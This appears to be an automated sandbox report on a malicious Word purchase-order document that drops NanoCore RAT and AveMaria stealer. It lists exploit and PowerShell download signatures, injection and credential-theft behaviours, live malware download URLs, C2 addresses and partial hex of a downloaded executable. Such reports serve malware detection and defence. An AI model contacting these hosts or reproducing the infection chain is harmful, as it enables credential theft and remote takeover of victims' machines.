Windows Analysis Report NEW PO1100372954 -.doc

Overview

General Information

Sample Name: NEW PO1100372954 -.doc
Analysis ID: 457815
MD5: afe48e30fc3f12c2b6ad7d19ae1fff8e
SHA1: 2ded99867d8b3e9499b10743ae732efec19ccc8e
SHA256: ecef57afce8a7d5eed2080401da0ce36d67c2493cf1385b432a6bf0a65f6e521
Tags: doc
Infos:

Most interesting Screenshot:

Detection

NanoCore AveMaria
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Document exploit detected (creates forbidden files)
Document exploit detected (drops PE files)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Sigma detected: NanoCore
Sigma detected: Powershell download and execute file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected AntiVM3
Yara detected AveMaria stealer
Yara detected Nanocore RAT
.NET source code contains very large strings
Allocates memory in foreign processes
Bypasses PowerShell execution policy
Contains functionality to hide user accounts
Contains functionality to inject threads in other processes
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal e-mail passwords
Creates a thread in another existing process (thread injection)
Creates an undocumented autostart registry key
Document exploit detected (process start blacklist hit)
Found suspicious RTF objects
Hides that the sample has been downloaded from the Internet (zone.identifier)
Hides user accounts
Increases the number of concurrent connection per server for Internet Explorer
Injects a PE file into a foreign processes
Injects files into Windows application
Installs a global keyboard hook
Machine Learning detection for dropped file
Microsoft Office creates scripting files
Office process drops PE file
Powershell drops PE file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Sigma detected: PowerShell DownloadFile
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to download and execute files (via powershell)
Tries to harvest and steal browser information (history, passwords, etc)
Uses dynamic DNS services
Writes to foreign memory regions
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Antivirus or Machine Learning detection for unpacked file
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create new users
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Enables driver privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Installs a raw input device (often for capturing keystrokes)
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Exploit for CVE-2017-0261
Sigma detected: PowerShell Download from URL
Sigma detected: Verclsid.exe Runs COM Object
Spawns drivers
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Uses the system / local time for branch decision (may execute only at specific dates)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://hutyrtit.ydns.eu/microC.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Program Files (x86)\SMTP Service\smtpsvc.exe ReversingLabs: Detection: 19%
Source: C:\Program Files\Microsoft DN1\sqlmap.dll Metadefender: Detection: 20% Perma Link
Source: C:\Program Files\Microsoft DN1\sqlmap.dll ReversingLabs: Detection: 42%
Source: C:\ProgramData\images.exe ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\microC[1].exe ReversingLabs: Detection: 19%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\putty[1].exe ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe ReversingLabs: Detection: 19%
Source: C:\Users\user\AppData\Roaming\putty.exe ReversingLabs: Detection: 28%
Multi AV Scanner detection for submitted file
Source: NEW PO1100372954 -.doc ReversingLabs: Detection: 23%
Yara detected AveMaria stealer
Source: Yara match File source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3751b08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3791b08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3aa1b08.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.61381d.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000003.2137169067.0000000000613000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137304291.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137077371.0000000000603000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118755811.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118971999.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2119027493.00000000005C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2139607287.0000000003911000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118869644.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118769952.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137213660.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118879592.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2123072051.00000000035C1000.00000004.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.440000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3504105.26.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.444629.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300359769.0000000002491000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300423782.0000000003499000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2355475529.00000000024B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Machine Learning detection for dropped file
Source: C:\Program Files (x86)\SMTP Service\smtpsvc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\microC[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Joe Sandbox ML: detected
Source: C:\ProgramData\images.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\putty.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\putty[1].exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 21.2.images.exe.400000.1.unpack Avira: Label: TR/Crypt.XPACK.Gen2
Source: 15.2.putty.exe.400000.1.unpack Avira: Label: TR/Crypt.XPACK.Gen2
Source: 34.2.iBCrDCK.i.exe.400000.2.unpack Avira: Label: TR/Dropper.Gen
Source: 34.2.iBCrDCK.i.exe.440000.4.unpack Avira: Label: TR/NanoCore.fadte
Source: 13.2.putty.exe.400000.3.unpack Avira: Label: TR/Crypt.XPACK.Gen2

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040A8C3 lstrlenA,CryptStringToBinaryA,lstrcpyA, 13_2_0040A8C3
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040C261 CryptUnprotectData,LocalAlloc,LocalFree, 13_2_0040C261
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040C3B9 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree, 13_2_0040C3B9
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040C419 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey, 13_2_0040C419
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00409D97 RegQueryValueExW,GlobalAlloc,CryptUnprotectData,lstrcpyW, 13_2_00409D97
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040C6BD LocalAlloc,BCryptDecrypt,LocalFree, 13_2_0040C6BD
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040A8C3 lstrlenA,CryptStringToBinaryA,lstrcpyA, 15_2_0040A8C3
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040C261 CryptUnprotectData,LocalAlloc,LocalFree, 15_2_0040C261
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040C3B9 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree, 15_2_0040C3B9
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040C419 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey, 15_2_0040C419
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00409D97 RegQueryValueExW,GlobalAlloc,CryptUnprotectData,lstrcpyW, 15_2_00409D97
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040C6BD LocalAlloc,BCryptDecrypt,LocalFree, 15_2_0040C6BD
Source: C:\Users\user\AppData\Roaming\putty.exe Directory created: C:\Program Files\Microsoft DN1 Jump to behavior
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\sqlmap.dll
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\rdpwrap.ini
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbAlbu source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: System.Management.Automation.pdbBBfop source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, images.exe
Source: Binary string: >+D C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: images.exe
Source: Binary string: wuser32.pdb source: images.exe
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbmmon source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb Fil source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000003.00000002.2096511156.0000000002960000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2100589485.00000000029A0000.00000002.00000001.sdmp, putty.exe, 0000000A.00000002.2117131809.0000000000770000.00000002.00000001.sdmp
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00411446 FindFirstFileW,FindNextFileW, 13_2_00411446
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA, 13_2_0040955B
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00411446 FindFirstFileW,FindNextFileW, 15_2_00411446
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA, 15_2_0040955B
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0041154A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW, 13_2_0041154A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\abdtfhghgdghgh .ScT Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\putty[1].exe Jump to behavior
Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: putty[1].exe.0.dr Jump to dropped file
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 10_2_005A1750
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 10_2_005A1740
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 10_2_005A1678
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 10_2_005A1818
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 10_2_005A1688
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 11_2_00401853
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 11_2_00401858
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 11_2_00401920
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 11_2_00401780
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 11_2_00401790
Source: C:\ProgramData\images.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 17_2_004A1740
Source: C:\ProgramData\images.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 17_2_004A1750
Source: C:\ProgramData\images.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 17_2_004A1678
Source: C:\ProgramData\images.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 17_2_004A1807
Source: C:\ProgramData\images.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 17_2_004A1818
Source: C:\ProgramData\images.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h 17_2_004A1688
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: newhosteeeee.ydns.eu
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 203.159.80.186:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 203.159.80.186:80

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49170 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49171 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49172 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49173 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49174 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49175 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49176 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49177 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49178 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49179 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.22:49180 -> 203.159.80.186:8234
Uses dynamic DNS services
Source: unknown DNS query: name: hhjhtggfr.duckdns.org
Contains functionality to download and execute PE files
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040290E URLDownloadToFileW,ShellExecuteW, 13_2_0040290E
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 203.159.80.186:6703
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Sun, 01 Aug 2021 22:25:10 GMTAccept-Ranges: bytesETag: "6ca734172487d71:0"Server: Microsoft-IIS/8.5Date: Mon, 02 Aug 2021 08:59:54 GMTContent-Length: 731648Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 46 1f 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 20 0b 00 00 08 00 00 00 00 00 00 7a 3b 0b 00 00 20 00 00 00 40 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 3b 0b 00 4f 00 00 00 00 40 0b 00 e4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1f 0b 00 00 20 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e4 05 00 00 00 40 0b 00 00 06 00 00 00 22 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0b 00 00 02 00 00 00 28 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 3b 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 00 f2 00 00 08 d2 02 00 03 00 00 00 01 00 00 06 08 c4 03 00 20 77 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2b 00 00 0a 28 2c 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 2d 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 2e 00 00 0a 00 02 16 28 2f 00 00 0a 00 02 17 28 30 00 00 0a 00 02 17 28 31 00 00 0a 00 02 16 28 32 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 17 02 00 06 28 33 00 00 0a 00 2a 26 00 02 28 34 00 00 0a 00 2a ce 73 35 00 00 0a 80 01 00 00 04 73 36 00 00 0a 80 02 00 00 04 73 37 00 00 0a 80 03 00 00 04 73 38 00 00 0a 80 04 00 00 04 73 39 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3a 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 3b 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 3e 00 00 0a 0a 2b
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Sun, 01 Aug 2021 22:25:10 GMTAccept-Ranges: bytesETag: "6ca734172487d71:0"Server: Microsoft-IIS/8.5Date: Mon, 02 Aug 2021 08:59:57 GMTContent-Length: 731648Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 46 1f 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 20 0b 00 00 08 00 00 00 00 00 00 7a 3b 0b 00 00 20 00 00 00 40 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 3b 0b 00 4f 00 00 00 00 40 0b 00 e4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1f 0b 00 00 20 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e4 05 00 00 00 40 0b 00 00 06 00 00 00 22 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0b 00 00 02 00 00 00 28 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 3b 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 00 f2 00 00 08 d2 02 00 03 00 00 00 01 00 00 06 08 c4 03 00 20 77 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 